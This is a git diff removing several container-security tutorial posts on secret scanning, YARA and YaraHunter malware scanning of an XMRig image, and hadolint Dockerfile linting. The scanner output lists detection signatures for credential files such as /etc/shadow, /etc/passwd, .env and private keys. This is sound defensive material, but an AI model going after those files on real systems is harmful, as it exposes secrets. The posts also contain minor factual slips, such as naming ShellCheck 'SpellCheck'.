back I found this interesting tweet discussion from cybersecurity community members ! - - - -here you see article around Uber security incidence - -%[https://www.uber.com/newsroom/security-update/] - -lets understand why secret scanner help you securing your container images and file system - -If you see DockerHub most of images and public and thousands of secrets leaked over the year - -If you see of of example from past supply chain attack one of docker image Codecov contain git credentials that allow attacker to gain access to price Codecov's private git repositories and committed backdoors by attacker to there product and later that effected to 22000 Codecov's users - -## lets write `insecure.DockerFile` - -```plaintext -FROM python:3.9-slim -ENV DATABASE_PASSWORD "SuperSecret" -``` - -## Don't Store Secrets in Images - -Secrets are sensitive pieces of information such as passwords, database credentials, SSH keys, tokens, and TLS certificates, to name a few. These should not be baked into your images without being encrypted since unauthorized users who gain access to the image can merely examine the layers to extract the secrets. - -Instead, they should be injected via: - -* Environment variables (at run-time) - -* Build-time arguments (at build-time) - -* An orchestration tool like Docker Swarm (via Docker secrets) or Kubernetes (via Kubernetes secrets) - -* Also, you can help prevent leaking secrets by adding common secret files and folders to your .dockerignore file: - - -```plaintext -**/.env -**/.aws -**/.ssh -``` - -be explicit about what files are getting copied over to the image rather than copying all files recursively: - -```plaintext -# BAD -COPY . . - -# GOOD -copy ./app.py . -``` - -## Environment Variables - -You can pass secrets via environment variables, but they will be visible in all child processes, linked containers, and logs, as well as via docker inspect. It's also difficult to update them. - -```plaintext -$ docker run --detach --env "DATABASE_PASSWORD=SuperSecret" python:3.9-slim - -d92cf5cf870eb0fdbf03c666e7fcf18f9664314b79ad58bc7618ea3445e39239 - - -$ docker inspect --format='{{range .Config.Env}}{{println .}}{{end}}' d92cf5cf870eb0fdbf03c666e7fcf18f9664314b79ad58bc7618ea3445e39239 - -DATABASE_PASSWORD=SuperSecret -PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -LANG=C.UTF-8 -GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 -PYTHON_VERSION=3.9.7 -PYTHON_PIP_VERSION=21.2.4 -PYTHON_SETUPTOOLS_VERSION=57.5.0 -PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/c20b0cfd643cd4a19246ccf204e2997af70f6b21/public/get-pip.py -PYTHON_GET_PIP_SHA256=fa6f3fb93cce234cd4e8dd2beb54a51ab9c247653b52855a48dd44e6b21ff28b -``` - -## Build-time Arguments - -```plaintext - -docker build --build-arg "DATABASE_PASSWORD=SuperSecret" . -``` - -rather then build time arguments you can use Multi-stage build so `docker history` will be ignored . The multi-stage build only retains the history for the final image. Keep in mind that you can use this functionality for permanent secrets that you need for your application, like a database credential. - -You can also use the --secret option in Docker build to pass secrets to Docker images that do not get stored in the images. - -refer create secret doc \[https://docs.docker.com/engine/reference/commandline/secret\_create/ \] \`\`\` - -# "docker" > secrets.txt - -FROM alpine - -# shows secret from default secret location: - -RUN --mount=type=secret,id=mysecret cat /run/secrets/mysecret - -```plaintext -This will mount the secret from the secrets.txt file. -``` - -docker build --no-cache --progress=plain --secret id=mysecret,src=secrets.txt . - -# output - -... #4 \[1/2\] FROM docker.io/library/alpine #4 sha256:665ba8b2cdc0cb0200e2a42a6b3c0f8f684089f4cd1b81494fbb9805879120f7 #4 CACHED - -#5 \[2/2\] RUN --mount=type=secret,id=mysecret cat /run/secrets/mysecret #5 sha256:75601a522ebe80ada66dedd9dd86772ca932d30d7e1b11bba94c04aa55c237de #5 0.635 docker #5 DONE 0.7s - -# exporting to image - -```plaintext -lets see the leaked secret -``` - -```❯ docker history 49574a19241c IMAGE CREATED CREATED BY SIZE COMMENT 49574a19241c 5 minutes ago CMD \["/bin/sh"\] 0B buildkit.dockerfile.v0 5 minutes ago RUN /bin/sh -c cat /run/secrets/mysecret # b… 0B buildkit.dockerfile.v0 4 weeks ago /bin/sh -c #(nop) CMD \["/bin/sh"\] 0B 4 weeks ago /bin/sh -c #(nop) ADD file:aad4290d27580cc1a… 5.6MB ``` - -but most modern way to scan docker images and file system you can use open source tool secretscanner that make developer life easy to detect leaked secretes - -pull latest secretscanner image - -```plaintext - -docker pull deepfenceio/deepfence_secret_scanner:latest -``` - - Pull docker image that you want to scan - -```plaintext -docker pull node:8.11 -``` - - Hund Secrets - -```plaintext -docker run -it --rm --name=deepfence-secretscanner -v $(pwd):/home/deepfence/output -v /var/run/docker.sock:/var/run/docker.sock deepfenceio/deepfence_secret_scanner:latest -image-name node:8.11 -``` - -output - -```plaintext -Scanning image /tmp/Deepfence/SecretScanning/df_node811/save-output.tar for secrets... - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 85, - "Matched Rule Name": "Potential Linux passwd file", - "Matched Part": "path", - "String to Match": "", - "Signature to Match": "etc/passwd$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 10, - "Full File Name": "etc/passwd", - "Matched Contents": "etc/passwd" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 69, - "Matched Rule Name": "Shell profile configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?(bash_|zsh_)?profile$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 7, - "Full File Name": "etc/profile", - "Matched Contents": "profile" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 84, - "Matched Rule Name": "Potential Linux shadow file", - "Matched Part": "path", - "String to Match": "", - "Signature to Match": "etc/shadow$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 10, - "Full File Name": "etc/shadow", - "Matched Contents": "etc/shadow" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 68, - "Matched Rule Name": "Shell configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?(bash|zsh|csh)rc$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 7, - "Full File Name": "etc/skel/.bashrc", - "Matched Contents": ".bashrc" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 69, - "Matched Rule Name": "Shell profile configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?(bash_|zsh_)?profile$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 8, - "Full File Name": "etc/skel/.profile", - "Matched Contents": ".profile" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 68, - "Matched Rule Name": "Shell configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?(bash|zsh|csh)rc$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 7, - "Full File Name": "root/.bashrc", - "Matched Contents": ".bashrc" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 69, - "Matched Rule Name": "Shell profile configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?(bash_|zsh_)?profile$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 8, - "Full File Name": "root/.profile", - "Matched Contents": ".profile" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 88, - "Matched Rule Name": "Environment configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?env$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 3, - "Full File Name": "usr/bin/env", - "Matched Contents": "env" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 69, - "Matched Rule Name": "Shell profile configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?(bash_|zsh_)?profile$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 7, - "Full File Name": "usr/share/base-files/profile", - "Matched Contents": "profile" - }, - { - "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76", - "Matched Rule ID": 69, - "Matched Rule Name": "Shell profile configuration file", - "Matched Part": "filename", - "String to Match": "", - "Signature to Match": "^\\.?(bash_|zsh_)?profile$", - "Severity": "medium", - "Severity Score": 5.00, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 7, - "Full File Name": "usr/share/doc/adduser/examples/adduser.local.conf.examples/profile", - "Matched Contents": "profile" - }, - { - "Image Layer ID": "45475acd15f3bb8a3b04367eda1a2553d6b18d95723eb51737bc9d9a24227336", - "Matched Rule ID": 0, - "Matched Rule Name": "Potential cryptographic private key", - "Matched Part": "extension", - "String to Match": ".pem", - "Signature to Match": "", - "Severity": "low", - "Severity Score": 2.50, - "Starting Index of Match in Original Content": 0, - "Relative Starting Index of Match in Displayed Substring": 0, - "Relative Ending Index of Match in Displayed Substring": 4, - "Full File Name": "etc/ssl/certs/ACCVRAIZ1.pem", - "Matched Contents": ".pem" - } -``` - -if you see about scan report its provide `Image Layer ID` and `Matched Rule Name` that describe about type of secret its detect also its provide `"Severity": "type", "Severity Score": 2.50`, with `"Matched Contents": "` - -## use .dockerignore file - -What should you add to the .dockerignore file? - -* Temporary files and folders - -* Build logs - -* Local secrets - -* Local development files like docker-compose.yml - -* Version control folders like ".git", ".hg", and ".svn" Example: - - -```plaintext -**/.git -**/.gitignore -**/.vscode -**/coverage -**/.env -**/.aws -**/.ssh -Dockerfile -README.md -docker-compose.yml -**/.DS_Store -**/venv -**/env -``` - -Check it out SecretScanner and support this project by giving gitstar ! - -[![Readme Card](https://github-readme-stats.vercel.app/api/pin/?username=deepfence&repo=SecretScanner)](https://github.com/deepfence/SecretScanner) - diff --git a/content/en/containersecurity/b17.Yarahunter.md b/content/en/containersecurity/b17.Yarahunter.md deleted file mode 100644 index f23ad78..0000000 --- a/content/en/containersecurity/b17.Yarahunter.md +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: " YaraHunter - Malware Scanner for Container Images " -slug: "YaraHunter - Malware Scanner for Container Images" ---- - - -## What is YARA ? - -YARA was originally developed by Victor Alvarez of VirusTotal and released on github in 2013 . - -> YARA , the "Pattern matching Swiss knife for malware researchers available on [github](https://github.com/VirusTotal/yara) - -#### Install yara on Mac - -```plaintext -brew install yara -``` - -#### Yara is extremely popular within because of different use case : - -* Identify and classify malware - -* Find new samples based on family-specific pattern - -* Deploy Yara Rules to identify samples and compromised device for incident response - - -#### Why Yara ? - -* Before Yara it was difficult for malware researcher To detect and classify large volumes of malware samples - -* can effective be used of hunting evolving malwares - -* Since Yara Rules are completely base on text , using an easy to understand syntax , they can be developed quickly - - -## How to write custom detection in YARA - -1. Start of the rule: Every YARA rule should be declared by using the keyword rule followed by an identifier , or unique rule would like to give your rule - -2. Add your meta section : the meta section can be used to provide comments or details about your rule information provided under meta will not be used for any variation of malware detection - -3. Declare string : this is where you can declare a variable and set it value each variable is indicated using $ sign followed by the variable name - -4. add your condition section : the condition section is where the rule declares what conditions must be met in order to rule to trigger a match . - - -### my first yara rule - -```plaintext -rule Hello_World - { - condition: - true -} -``` - -verify yara is installed or not - -```plaintext -yara --help -YARA 4.2.3, the pattern matching swiss army knife. -Usage: yara [OPTION]... [NAMESPACE:]RULES_FILE... FILE | DIR | PID - -Mandatory arguments to long options are mandatory for short options too. - - --atom-quality-table=FILE path to a file with the atom quality table - -C, --compiled-rules load compiled rules - -c, --count print only number of matches - -d, --define=VAR=VALUE define external variable - --fail-on-warnings fail on warnings - -f, --fast-scan fast matching mode - -h, --help show this help and exit - -i, --identifier=IDENTIFIER print only rules named IDENTIFIER - --max-process-memory-chunk=NUMBER set maximum chunk size while reading process memory (default=1073741824) - -l, --max-rules=NUMBER abort scanning after matching a NUMBER of rules - --max-strings-per-rule=NUMBER set maximum number of strings per rule (default=10000) - -x, --module-data=MODULE=FILE pass FILE's content as extra data to MODULE - -n, --negate print only not satisfied rules (negate) - -N, --no-follow-symlinks do not follow symlinks when scanning - -w, --no-warnings disable warnings - -m, --print-meta print metadata - -D, --print-module-data print module data - -e, --print-namespace print rules' namespace - -S, --print-stats print rules' statistics - -s, --print-strings print matching strings - -L, --print-string-length print length of matched strings - -g, --print-tags print tags - -r, --recursive recursively search directories - --scan-list scan files listed in FILE, one per line - -z, --skip-larger=NUMBER skip files larger than the given size when scanning a directory - -k, --stack-size=SLOTS set maximum stack size (default=16384) - -t, --tag=TAG print only rules tagged as TAG - -p, --threads=NUMBER use the specified NUMBER of threads to scan a directory - -a, --timeout=SECONDS abort scanning after the given number of SECONDS - -v, --version show version information -``` - -#### Now let the computer greet you: - -```plaintext -$ yara hello.yara /yara/malware/somefile.txt -``` - -```plaintext -rule GoodMorning - { - condition: - hour < 12 and hour >= 4 -} -``` - -#### Now let the computer greet you: - -```plaintext -yara hello.yara -d hour=11 ./yara/malware/somefile.txt -GoodMorning ./yara/malware/somefile.txt -``` - -#### structure of YARA rule file - -rule RULE\_NAME { // Rule definition goes here! // Comments in Yara rules look like this! } - -The “meta” section of a rule contains the description, author, reference, date, hash, and any other relevant details of the rule. This section is optional and will not be used to classify malware. `meta: description = "This is just an example" threat_level = 3 in_the_wild = true` - -The “strings” section contains string patterns that are used to identify malware. Each string in the “strings” section is identified with a variable name starting with a dollar sign. - -```plaintext -strings: - $a = {6A 40 68 00 30 00 00 6A 14 8D 91} - $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} - $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" -``` - -You should put signature strings that are indicative of the malware here. This example uses hex strings and text strings. But you can also use regex patterns. `strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} // Hex strings are enclosed within curly brackets. $b = "UVODFRYSIHLNWPEJXQZAKCBGMT" // Plain text strings are enclosed within double quotes. $c = /md5: [0-9a-fA-F]{32}/ // Regex patterns are enclosed within slashes.` Finally, the “condition” section describes how the string patterns in the “strings” section should be used to identify a piece of malware. You can use boolean (and, or, not), relational (>, <, =, and more), and arithmetic (+, -, \*, /, %) expressions in this section. In our example, the rule specifies that if one of the strings $a, $b, or $c is present, the file is a silent banker trojan. `condition: $a or $b or $c` You can also define more complicated conditions like these. ``` condition: #a > 2 and $b // If $a occurs more than twice and if $b is present - -condition: ($a and $b) or ($b and $c) // If both $a and $b are present, or both $b and $c are present ``` - -## Lets Bring Malware scanner for cloud-native, as part of CI/CD and at Runtime - -Deepfence's [YaraHunter](https://github.com/deepfence/YaraHunter) - scans container images, running Docker containers, and filesystems to find indicators of malware. It uses a [YARA ruleset](https://github.com/deepfence/yara-rules/blob/main/malware.yar) to identify resources that match known malware signatures, and may indicate that the container or filesystem has been compromised. - -### YaRadare can be used to detect malware in cloud-native applications in the following ways: - -* At rest: scan local container images, before they are deployed, to verify they do not contain malware - -* At runtime: scan running docker containers, if, for example, you observe unusual network traffic or CPU activity - -* Against filesystems: at any time, YaRadare can scan a local directory or filesystem for indicators of compromise - - -we all build and scan images but we never take look at malware that packaged inside container or even file system YaraHunter can hunt malware that present at your docker images or Kubernetes cluster or you can use in CI/CD pipeline - -#### pull image you want to scan - -Images may be compromised with the installation of a cryptominer such as XMRig. In the following example, we'll scan a legitimiate cryptominer image that contains the same xmrig software that is often installed through an exploit: - -```plaintext - docker pull metal3d/xmrig -``` - -#### Run YaraHunter as Docker Container and get result in json - -![](https://raw.githubusercontent.com/deepfence/YaraHunter/main/docs/docs/yarahunter/img/yarahunter.svg) - -``` bash -docker run -it --rm --name=deepfence-yarahunter -\-v /var/run/docker.sock:/var/run/docker.sock -\-v /tmp:/home/deepfence/output -deepfenceio/yara-hunter:latest --image-name metal3d/xmrig:latest -\--json-filename=xmrig-scan.json -``` - -```bash - - Using default tag: latest latest: Pulling from metal3d/xmrig 2408cc74d12b: Pull complete 75fcf72b2223: Pull complete 4e7c4ed53fb2: Pull complete Digest: sha256:c3c27a8b2f6beede6d9c0a7e5b79bb7a7b0002cca40565e7bfd2e447f3a2a628 Status: Downloaded newer image for metal3d/xmrig:latest docker.io/metal3d/xmrig:latest WARNING: The requested image's platform (linux/amd64) does not match the detected host platform (linux/arm64/v8) and no specific platform was requested INFO\[2022-09-09 00:53:43\] trying to connect to endpoint 'unix:///var/run/docker.sock' with timeout '10s' INFO\[2022-09-09 00:53:43\] connected successfully using endpoint: unix:///var/run/docker.sock INFO\[2022-09-09 00:53:43\] trying to connect to endpoint 'unix:///run/containerd/containerd.sock' with timeout '10s' WARN\[2022-09-09 00:53:53\] could not connect to endpoint 'unix:///run/containerd/containerd.sock': context deadline exceeded INFO\[2022-09-09 00:53:53\] trying to connect to endpoint 'unix:///run/k3s/containerd/containerd.sock' with timeout '10s' WARN\[2022-09-09 00:54:03\] could not connect to endpoint 'unix:///run/k3s/containerd/containerd.sock': context deadline exceeded INFO\[2022-09-09 00:54:03\] container runtime detected: docker -{ "Timestamp": "2022-09-09 00:54:27.639796179 +00:00", "Image Name": "metal3d/xmrig:latest", "Image ID": "a01f1ffa6691423ef43bfaee2a9c9f30fe08ee6df8d9d6586ae9692d90789c5a", "Malware match detected are": \[ { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/usr/local/bin/xmrig", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/build/CMakeFiles/xmrig.dir/src/base/net/stratum/Url.cpp.o", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "Cerberus", "Strings to match are": \[ "cerberus" \], "Category": \["RAT","memory"\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst", "description":"Cerberus ", "author":"Jean-Philippe Teissier / @Jipe\_ ", "date":"2013-01-12 ", "filetype":"memory ", "version":"1.0 ", "Summary": "The file /tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst has a memory match.The file has a rule match that Cerberus .The matched rule file's author is Jean-Philippe Teissier / @Jipe\_ .The matched rule file's date is 2013-01-12 .The matched rule file's filetype is memory .The matched rule file's version is 1.0 ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/base/net/stratum/Url.cpp", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/usr/local/bin/xmrig", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/build/CMakeFiles/xmrig.dir/src/base/net/stratum/Url.cpp.o", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "Cerberus", "Strings to match are": \[ "cerberus" \], "Category": \["RAT","memory"\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst", "description":"Cerberus ", "author":"Jean-Philippe Teissier / @Jipe\_ ", "date":"2013-01-12 ", "filetype":"memory ", "version":"1.0 ", "Summary": "The file /tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst has a memory match.The file has a rule match that Cerberus .The matched rule file's author is Jean-Philippe Teissier / @Jipe\_ .The matched rule file's date is 2013-01-12 .The matched rule file's filetype is memory .The matched rule file's version is 1.0 ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/base/net/stratum/Url.cpp", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } - -\] } - -``` - -Check it out YaraHunter and support this project by giving gitstar ! - -[![Readme Card](https://github-readme-stats.vercel.app/api/pin/?username=deepfence&repo=YaraHunter)](https://github.com/deepfence/YaraHunter) - - diff --git a/content/en/containersecurity/b18.Security-linting-dockerfile.md b/content/en/containersecurity/b18.Security-linting-dockerfile.md deleted file mode 100644 index 36911d9..0000000 --- a/content/en/containersecurity/b18.Security-linting-dockerfile.md +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: "Security Linting of Dockerfiles" -description: " hadolint " -slug: "Security-linting-of-dockerfiles" ---- - - -# hadolint - -Hadolint comes with a robust and easy to use CLI. You can install it on a variety of platforms, including macOS using `brew install hadolint`. - -Confirm the installation was successful with the following command: - -``` - -$ hadolint --help -hadolint - Dockerfile Linter written in Haskell - -``` -We’ll use the following Dockerfile as an example, which can be used to run a Python Django web server. On the surface, it looks fine but we’ll see it has a lot of problems. - -```Dockerfile -FROM python -MAINTAINER xyx -LABEL org.website="xyz" - -RUN mkdir app && cd app - -COPY requirements.txt ./ -RUN pip install --upgrade pip -RUN pip install -r requirements.txt - -COPY . . - -CMD python manage.py runserver 0.0.0.0:80000 - - -``` - -Let’s run it through Hadolint: - -```bsh - -$ hadolint Dockerfile -Dockerfile:1 DL3006 warning: Always tag the version of an image explicitly -Dockerfile:1 DL3049 info: Label `maintainer` is missing. -Dockerfile:2 DL4000 error: MAINTAINER is deprecated -Dockerfile:3 DL3052 warning: Label `org.website` is not a valid URL. -Dockerfile:5 DL3003 warning: Use WORKDIR to switch to a directory -Dockerfile:5 SC2164 warning: Use 'cd ... || exit' or 'cd ... || return' in case cd fails. -Dockerfile:7 DL3045 warning: `COPY` to a relative destination without `WORKDIR` set. -Dockerfile:8 DL3013 warning: Pin versions in pip. Instead of `pip install ` use `pip install ==` or `pip install --requirement ` -Dockerfile:8 DL3042 warning: Avoid use of cache directory with pip. Use `pip install --no-cache-dir ` -Dockerfile:9 DL3059 info: Multiple consecutive `RUN` instructions. Consider consolidation. -Dockerfile:9 DL3042 warning: Avoid use of cache directory with pip. Use `pip install --no-cache-dir ` -Dockerfile:11 DL3045 warning: `COPY` to a relative destination without `WORKDIR` set. -Dockerfile:13 DL3025 warning: Use arguments JSON notation for CMD and ENTRYPOINT arguments - -``` - -Every violation takes on the following structure: - -A rule code is prefixed with either DL or SC. The DL prefix means the rule comes from Hadolint directly. The SC prefix means the rule comes from [SpellCheck](https://github.com/koalaman/shellcheck) which is a static analysis tool for shell scripts that comes with Hadolint out of the box. You can find the combined list of rules [here](https://github.com/hadolint/hadolint#rules). - -Every rule has a dedicated documentation page that lists code examples, rationale and other important details. See the dedicated page for [DL3006](https://github.com/hadolint/hadolint/wiki/DL3006) here. - -You can ignore one or more rules using the `--ignore RULECODE` option: - -```bash -$ hadolint --ignore DL3013 --ignore DL3042 Dockerfile - -``` -You can also ignore rules within the Dockerfile inline. I prefer this approach because you can exclude rule codes on a per-line basis and it’s more clear where the violation is actually happening. - -```bash -# hadolint ignore=DL3013 -RUN pip install --upgrade pip -``` - -Hadolint has an active open-source community. New rule codes are added on a regular basis so be sure to check you’re running the latest version of Hadolint every so often. - -# Severity level - - -The severity level indicates how critical a violation is. There are six levels: error, warning, info, style, ignore, and none. - -The CLI includes a --failure-threshold (abbreviated as -t) to exclude certain severity levels from causing a failure. For example, if you only want Hadolint to fail on error violations. - -```bash -$ hadolint -t error Dockerfile - -``` -Note, violations from other severity levels will still be reported but they won’t cause a failure. - -If you don’t agree with a rule code’s severity level, you can easily change it using the -- RULECODE option. For example, the following command upgrades DL3006 to error and downgrades DL3045 to info (both codes are warning by default): - -```bash -$ hadolint --error DL3006 --info DL3045 Dockerfile -Dockerfile:1 DL3006 error: Always tag the version of an image explicitly -Dockerfile:7 DL3045 info: `COPY` to a relative destination without `WORKDIR` set. - -``` - -# Fix the Dockerfile - -Working through each error one-by-one is a fantastic exercise for learning about Dockerfile best practices. As mentioned above, every rule has a very clear and detailed documentation page. Give it a shot and revisit this post when you’re done. - -At this point, Hadolint should report no errors. Your file should look similar to this: - -```bash -FROM python:3.10 -LABEL maintainer="xyz" -LABEL org.website="xyz" -WORKDIR /app -COPY requirements.txt ./ -# hadolint ignore=DL3013 -RUN pip install --upgrade --no-cache-dir pip && \ - pip install --no-cache-dir -r requirements.txt -COPY . . -CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"] - -``` - -- Integrations - -Hadolint includes many convenient integrations for automatically running the linter throughout the development process. My favorites are: - -[VS Code](https://github.com/hadolint/hadolint/blob/master/docs/INTEGRATION.md#vs-code): run Hadolint directly in your editor -[pre-commit](https://github.com/hadolint/hadolint/blob/master/docs/INTEGRATION.md#pre-commit): run Hadolint on every git commit -[GitHub Actions](https://github.com/hadolint/hadolint/blob/master/docs/INTEGRATION.md#github-actions): run Hadolint in GitHub CI/CD diff --git a/content/en/containersecurity/b19.packetscanner.md b/content/en/containersecurity/b19.packetscanner.md deleted file mode 100644 index 1c76040..0000000 --- a/content/en/containersecurity/b19.packetscanner.md +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: "Static Analysis of container images library for container " -description: " Packetstreamer " -slug: "Static Analysis of container images library for container" ---- - -# Packetstreamer - -SBOM and vulnerability scanner for container images - - -https://github.com/deepfence/package-scanner - - -Download binary - -- 